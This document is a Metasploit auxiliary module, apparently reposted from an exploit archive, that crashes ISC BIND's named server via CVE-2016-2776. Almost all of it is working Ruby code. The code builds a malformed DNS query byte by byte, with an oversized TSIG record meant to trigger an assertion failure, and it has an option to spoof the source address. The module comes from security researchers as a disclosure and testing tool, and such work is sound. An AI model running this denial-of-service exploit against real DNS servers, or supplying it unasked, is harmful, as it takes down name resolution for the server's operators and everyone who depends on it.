BIND TSIG Query Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Capture  
include Msf::Auxiliary::UDPScanner  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BIND TSIG Query Denial of Service',  
'Description' => %q{  
A defect in the rendering of messages into packets can cause named to  
exit with an assertion failure in buffer.c while constructing a response  
to a query that meets certain criteria.  
  
This assertion can be triggered even if the apparent source address  
isn't allowed to make queries.  
},  
# Research and Original PoC - msf module author  
'Author' => [  
'Martin Rocha',  
'Ezequiel Tavella',  
'Alejandro Parodi',  
'Infobyte Research Team'  
],  
'References' => [  
['CVE', '2016-2776'],  
['URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html']  
],  
'DisclosureDate' => '2016-09-27',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {'ScannerRecvWindow' => 0}  
))  
  
register_options([  
Opt::RPORT(53),  
OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])  
])  
  
deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')  
end  
  
def scan_host(ip)  
if datastore['SRC_ADDR']  
scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])  
else  
print_status("Sending packet to #{ip}")  
scanner_send(payload, ip, rport)  
end  
end  
  
def payload  
query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65  
query << "\x00\x00" # Flags: 0x0000 Standard query  
query << "\x00\x01" # Questions: 1  
query << "\x00\x00" # Answer RRs: 0  
query << "\x00\x00" # Authority RRs: 0  
query << "\x00\x01" # Additional RRs: 1  
  
# Domain Name  
query << get_domain # Random DNS Name  
query << "\x00" # [End of name]  
query << "\x00\x01" # Type: A (Host Address) (1)  
query << "\x00\x01" # Class: IN (0x0001)  
  
# Additional records. Name  
query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes  
query << "\x3d"+Rex::Text.rand_text_alphanumeric(61)  
query << "\x00"  
  
query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)  
query << "\x00\xff" # Class: ANY (0x00ff)  
query << "\x00\x00\x00\x00" # Time to live: 0  
query << "\x00\xfc" # Data length: 252  
  
# Algorithm Name  
query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes  
query << "\x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes  
query << "\x00"  
  
# Rest of TSIG  
query << "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan 1, 1970 03:15:07.000000000 ART  
query << "\x01\x2c" # Fudge: 300  
query << "\x00\x10" # MAC Size: 16  
query << Rex::Text.rand_text_alphanumeric(16) # MAC  
query << "\x8f\x65" # Original Id: 36709  
query << "\x00\x00" # Error: No error (0)  
query << "\x00\x00" # Other len: 0  
end  
  
def get_domain  
domain = "\x06"+Rex::Text.rand_text_alphanumeric(6)  
org = "\x03"+Rex::Text.rand_text_alphanumeric(3)  
domain+org  
end  
end  
`